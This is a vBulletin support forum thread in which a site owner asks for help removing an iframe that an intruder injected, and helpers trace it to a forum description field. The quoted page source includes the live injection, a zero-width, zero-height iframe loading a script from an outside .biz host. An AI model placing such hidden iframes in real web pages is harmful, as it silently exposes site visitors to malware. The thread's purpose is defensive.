Very serious problem with an iframe issue - please help!

[gsu90]

It appears that I am having problem with someone logging into my site an placing an iframe link in the code of my sites. As a result, a virus alert appears whenever this page is downloaded.

At first it was just on the front page of the site and I would simply remove it, but now this person has placed the iframe line in one of the vbulleting files. The alert only comes up when I access the front index.php page of my vbulletin. It doesn't appear to show on any of the other pages.

When I have located the line of code when I view the source code and it looks like this...

<!-- END TEMPLATE: forumhome_forumbit_level2_post --><!-- BEGIN TEMPLATE: forumhome_forumbit_level2_post --><tr align="center"> <td class="alt2"><img src="images/statusicon/forum_old.gif" alt="" border="0" /></td> <td class="alt1Active" align="left" id="f4"> <div> <a href="forumdisplay.php?f=4"><strong>Small Talk</strong></a> </div> <div class="smallfont">A forum for conversation on just about anything other than sports, marching bands, and smack.<iframe src="http://iframedollars.biz/dl/adv514.php" width=0 height=0></iframe></div> </td> <td class="alt2" nowrap="nowrap"><!-- BEGIN TEMPLATE: forumhome_lastpostby --><div class="smallfont" align="left"> <div style="clear:both"> <img class="inlineimg" src="images/icons/icon6.gif" alt="Cool" border="0" /> <a href="showthread.php?goto=newpost&amp;t=48291" title="Go to first unread post in thread 'The story of Jane Fonda, The vet, and Chewin' tabacki.'"><strong>The story of Jane Fonda, The...</strong></a> </div> <div>

When I go to the index.php file the line of code is no where to be found. I can only assume that it is on some other file. Can someone please tell me where I can go to have this removed.

Thanks so much in advance.

[Jake Bunce]

What is the URL to your forum? And what is the URL to the page that contains this iframe code?

[gsu90]

What is the URL to your forum? And what is the URL to the page that contains this iframe code?

The url is http://www.swacpage.com/vbulletin/index.php this is also the page where the iframe code is listed.

I am no longer getting virus alerts when using the IE browser, but there is still a prompt that comes up (to download a file) when using Firefox.

It appears that the line of code is still there as well.

I look forward to your comments.

[Jake Bunce]

Go to your:

Admin CP -> Forums & Moderators -> Forum Manager -> Edit Forum

What is in the description field of the Small Talk forum?

[gsu90]

Go to your:

Admin CP -> Forums & Moderators -> Forum Manager -> Edit Forum

What is in the description field of the Small Talk forum?

Wow! I wouldn't have ever found it. Thanks a lot! That did the trick.

I was trying to change the admin password and I get the following...

Sorry, this user is protected from being altered in the config.php file by the $undeletableusers variable.

Do I need to open up the config.php file and make a change to something?

[jamesyfx]

Yes.

Whoever you're trying to alter, remove their userid from that list.

[gsu90]

Yes.

Whoever you're trying to alter, remove their userid from that list.

Well the thing is that there is only one userid on that list. There are however other administratiors, but I know for certain it is none of them. Is there anything else I can do to make VB more secrure? I am currently using the latest stable version.

Any suggestions?

[Jake Bunce]

Well the thing is that there is only one userid on that list. There are however other administratiors, but I know for certain it is none of them. Is there anything else I can do to make VB more secrure? I am currently using the latest stable version.

Any suggestions?

Use secure admin passwords. Password protect your admincp and modcp directories. Don't give admin access to people you don't trust.